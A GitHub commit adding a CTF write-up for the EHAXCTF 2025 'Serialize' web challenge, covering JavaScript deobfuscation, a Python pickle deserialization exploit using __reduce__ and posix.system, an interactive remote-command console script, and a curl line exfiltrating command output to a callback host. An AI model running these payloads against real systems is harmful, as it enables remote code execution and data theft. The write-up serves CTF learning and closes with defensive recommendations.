Skip to content

Commit 4bb2f7c

Browse files
committed
Add EHAXCTF2025 Web Serialize Writeup
1 parent 64408c1 commit 4bb2f7c

15 files changed

Lines changed: 263 additions & 0 deletions

content/posts/ctf_ehaxctf_2025.md

Lines changed: 263 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,263 @@
1+
---
2+
title: EHAXCTF 2025
3+
date: 2025-02-18
4+
draft: false
5+
tags:
6+
- ctf
7+
- learning
8+
categories:
9+
- ctf
10+
keywords:
11+
- ctf
12+
- learning
13+
---
14+
# Serialize Challenge Walkthrough
15+
16+
## Challenge
17+
18+
![Screenshot showing challenge description](Pasted%20image%2020250218144551.png)
19+
20+
The challenge tests the following skills:
21+
- JavaScript deobfuscation and analysis
22+
- Python pickle deserialization exploitation
23+
- Command injection techniques
24+
- Data exfiltration methods
25+
26+
Required background knowledge includes:
27+
- JavaScript debugging
28+
- Python pickle serialization
29+
- Command injection techniques
30+
- Web request manipulation
31+
32+
## Initial Analysis
33+
34+
The challenge presents a login page with client-side JavaScript validation. Inspection of the source code reveals heavily obfuscated JavaScript:
35+
36+
```html
37+
<body>
38+
<form class="login-form">
39+
<h2>Login to get flag</h2>
40+
<input type="text" id="username" placeholder="Enter your username" required>
41+
<input type="password" id="password" placeholder="Enter your password" required>
42+
<button type="submit">Login</button>
43+
</form>
44+
45+
<script>[][(![]+[])[+[]]... redacted
46+
```
47+
The full HTML source code is available in [this gist](https://gist.github.com/jsnv-dev/fdf50b45b97ffa8f0083adfda7d11429)
48+
49+
Browser developer tools debugging reveals an anonymous function containing authentication logic:
50+
51+
```js
52+
function anonymous() {
53+
return 'const _0x3645b3=_0x4842;function _0x4842(_0x19d358,_0x49968c){const _0x2ad82b=_0x2ad8();return _0x4842=function(_0x484299,_0x4da982){_0x484299=_0x484299-0x1f1;let _0x4c8636=_0x2ad82b[_0x484299];return _0x4c8636;},_0x4842(_0x19d358,_0x49968c);}(function(_0x4ff4ae,_0x561f72){const _0x2b38fa=_0x4842,_0x2d072e=_0x4ff4ae();while(!![]){try{const _0x20be76=parseInt(_0x2b38fa(0x1f5))/0x1+-parseInt(_0x2b38fa(0x206))/0x2*(parseInt(_0x2b38fa(0x205))/0x3)+parseInt(_0x2b38fa(0x202))/0x4+-parseInt(_0x2b38fa(0x1ff))/0x5+-parseInt(_0x2b38fa(0x1fd))/0x6*(parseInt(_0x2b38fa(0x201))/0x7)+-parseInt(_0x2b38fa(0x1f2))/0x8+parseInt(_0x2b38fa(0x1fa))/0x9*(parseInt(_0x2b38fa(0x1f9))/0xa);if(_0x20be76===_0x561f72)break;else _0x2d072e[\'push\'](_0x2d072e[\'shift\']());}catch(_0x1a16c9){_0x2d072e[\'push\'](_0x2d072e[\'shift\']());}}}(_0x2ad8,0xbdbb4));const form=document[_0x3645b3(0x1fe)](_0x3645b3(0x200));async function submitForm(_0x361a11){const _0xbae53f=_0x3645b3,_0x261004=await fetch(_0xbae53f(0x203),{\'method\':\'POST\',\'body\':JSON[_0xbae53f(0x208)](_0x361a11),\'headers\':{\'Content-Type\':_0xbae53f(0x1f4)}});window[_0xbae53f(0x1f7)]=\'/welcome.png\';}form[_0x3645b3(0x1f8)](_0x3645b3(0x1f6),_0x3f6721=>{const _0x43e2d2=_0x3645b3;_0x3f6721[_0x43e2d2(0x1f1)]();const _0x451641=document[_0x43e2d2(0x204)](_0x43e2d2(0x1fc)),_0x12fab0=document[\'getElementById\'](_0x43e2d2(0x207));_0x451641[_0x43e2d2(0x1fb)]==\'dreky\'&&_0x12fab0[\'value\']==\'ohyeahboiiiahhuhh\'?submitForm({\'user\':_0x451641[\'value\'],\'pass\':_0x12fab0[_0x43e2d2(0x1fb)]}):alert(_0x43e2d2(0x1f3));});function _0x2ad8(){const _0x5aa71f=[\'2115056nOLZur\',\'Invalid\\x20username\\x20or\\x20password\',\'application/json\',\'206204rQEQbe\',\'submit\',\'location\',\'addEventListener\',\'4252550HZZkfV\',\'18etmbIj\',\'value\',\'username\',\'43194hBWQRV\',\'querySelector\',\'5935145KtOSgP\',\'.login-form\',\'238aTVShg\',\'6015272rbWZkU\',\'/login\',\'getElementById\',\'15cVIXSQ\',\'34886FmgdQH\',\'password\',\'stringify\',\'preventDefault\'];_0x2ad8=function(){return _0x5aa71f;};return _0x2ad8();}'
54+
```
55+
56+
Deobfuscated JavaScript revealing credentials and login endpoint:
57+
58+
```js
59+
const form = document.querySelector('.login-form');
60+
61+
// Main form submission handler
62+
form.addEventListener('submit', (e) => {
63+
e.preventDefault();
64+
const username = document.getElementById('username');
65+
const password = document.getElementById('password');
66+
67+
// Client-side credential check
68+
if (username.value == 'dreky' && password.value == 'ohyeahboiiiahhuhh') {
69+
submitForm({
70+
'user': username.value,
71+
'pass': password.value
72+
});
73+
} else {
74+
alert('Invalid username or password');
75+
}
76+
});
77+
78+
// Submit function that sends credentials to server
79+
async function submitForm(credentials) {
80+
const response = await fetch('/login', {
81+
'method': 'POST',
82+
'body': JSON.stringify(credentials),
83+
'headers': {
84+
'Content-Type': 'application/json'
85+
}
86+
});
87+
window.location = '/welcome.png';
88+
}
89+
```
90+
91+
Discovered credentials:
92+
- Username: `dreky`
93+
- Password: `ohyeahboiiiahhuhh`
94+
95+
## Technical Deep Dive
96+
97+
A POST request to the `/login` endpoint using the discovered credentials yields:
98+
99+
![Successful login request/response](Pasted%20image%2020250218145247.png)
100+
101+
The response redirects to a new page:
102+
103+
![First flag part reveal](Pasted%20image%2020250218145327.png)
104+
105+
Source code reveals a CSS file reference:
106+
107+
![CSS file reference highlight](Pasted%20image%2020250218145421.png)
108+
109+
The CSS file contents expose additional information:
110+
111+
![CSS file contents showing new endpoint](Pasted%20image%2020250218145502.png)
112+
113+
The discovered endpoint `/t0p_s3cr3t_p4g3_7_7` returns a response with an interesting header:
114+
115+
![Response with X-Serial-Token header](Pasted%20image%2020250218145613.png)
116+
117+
Using CyberChef of the token reveals like a Python pickle serialization. The structure suggests it's trying to call `posix.system('dreky')`:
118+
119+
![CyberChef base64 decode output](Pasted%20image%2020250218145651.png)
120+
121+
## Solution
122+
123+
Analysis of the X-Serial-Token reveals Python pickle serialization. Python's pickle module serializes Python objects into a byte stream for storage or transmission. However, pickle deserialization executes code during object reconstruction, making it dangerous when processing untrusted data.
124+
125+
The original token decoded shows:
126+
```python
127+
{
128+
'posix': 'system',
129+
'command': 'dreky'
130+
}
131+
```
132+
133+
This structure indicates the server deserializes the token and executes system commands. The vulnerability lies in pickle's `__reduce__` method, which allows arbitrary code execution during deserialization. A malicious payload can be crafted:
134+
135+
```python
136+
import pickle
137+
import base64
138+
import posix
139+
140+
class Evil:
141+
def __reduce__(self):
142+
# Returns a tuple of (callable, args) that pickle uses for reconstruction
143+
# When deserialized, it executes: posix.system(command)
144+
return (posix.system, ('cat flag.txt',))
145+
146+
payload = pickle.dumps(Evil())
147+
print(base64.b64encode(payload).decode())
148+
```
149+
150+
Sending the modified token with `cat flag.txt` reveals different response codes in the `h1` tag, indicating command execution success or failure:
151+
152+
![Modified token request/response](Pasted%20image%2020250218150019.png)
153+
154+
To streamline the exploitation process, a custom Python console script automates payload generation and request handling:
155+
156+
```python
157+
import pickle
158+
import base64
159+
import posix
160+
import requests
161+
from bs4 import BeautifulSoup
162+
import readline
163+
164+
class Evil:
165+
def __reduce__(self):
166+
return (posix.system, (cmd,))
167+
168+
def create_payload(command):
169+
global cmd # Use global to make cmd accessible in Evil class
170+
cmd = command
171+
return base64.b64encode(pickle.dumps(Evil())).decode()
172+
173+
def parse_response(html):
174+
soup = BeautifulSoup(html, 'html.parser')
175+
# Find result in h1 tag
176+
result = soup.find('h1')
177+
if result:
178+
return result.text
179+
return "No result found"
180+
181+
def send_request(token):
182+
url = "http://chall.ehax.tech:8008/t0p_s3cr3t_p4g3_7_7"
183+
headers = {
184+
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0',
185+
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
186+
'X-Serial-Token': token
187+
}
188+
189+
try:
190+
response = requests.get(url, headers=headers)
191+
return response.text
192+
except requests.RequestException as e:
193+
return f"Error making request: {str(e)}"
194+
195+
def main():
196+
print("-" * 50)
197+
198+
while True:
199+
try:
200+
command = input("Command > ").strip()
201+
202+
if command.lower() == 'exit':
203+
break
204+
205+
if not command:
206+
continue
207+
208+
# Create payload
209+
token = create_payload(command)
210+
print(f"\nGenerated Token: {token}")
211+
212+
# Send request and get response
213+
response = send_request(token)
214+
215+
# Parse and display result
216+
result = parse_response(response)
217+
print(f"Result: {result}\n")
218+
219+
except KeyboardInterrupt:
220+
print("\nExiting...")
221+
break
222+
except Exception as e:
223+
print(f"Error: {str(e)}\n")
224+
225+
if __name__ == "__main__":
226+
main()
227+
```
228+
229+
![Console script output](Pasted%20image%2020250218150337.png)
230+
231+
Command execution verification requires output exfiltration since responses only show exit codes. Using an HTTP callback service captures command output:
232+
233+
```python
234+
# Exfiltration payload
235+
cmd = f'cmd=`{command}` && curl "https://callback.domain/?=$(cmd)"'
236+
```
237+
238+
The callback listener demonstrates successful command execution:
239+
240+
![](Pasted%20image%2020250218150408.png)
241+
242+
![Callback listener showing command output](Pasted%20image%2020250218150514.png)
243+
244+
This exploitation method combines deserialization vulnerability with command injection and data exfiltration techniques. The pickle vulnerability provides initial code execution, while DNS/HTTP callbacks bypass output restrictions.
245+
## Successful Exploitation
246+
247+
The first flag part (`oh_h3l1_`) enables targeted file searching. A grep command reveals the complete flag:
248+
249+
![Flag exfiltration output](Pasted%20image%2020250218150553.png)
250+
251+
Final flag: `E4HX{oh_h3l1_n44www_y0u_8r0k3_5th_w4l1}`
252+
253+
## Security Implications
254+
255+
This challenge demonstrates critical vulnerability patterns:
256+
1. Client-side only authentication
257+
2. Unsafe deserialization of user-controlled data
258+
3. Command injection leading to RCE
259+
4. Data exfiltration via DNS/HTTP requests
260+
## Security Recommendations
261+
- Server-side authentication implementation
262+
- Avoiding pickle deserialization of untrusted data
263+
- Input validation and sanitization
89.7 KB
Loading
89.7 KB
Loading
401 KB
Loading
397 KB
Loading
203 KB
Loading
316 KB
Loading
305 KB
Loading
127 KB
Loading
368 KB
Loading

0 commit comments

Comments
 (0)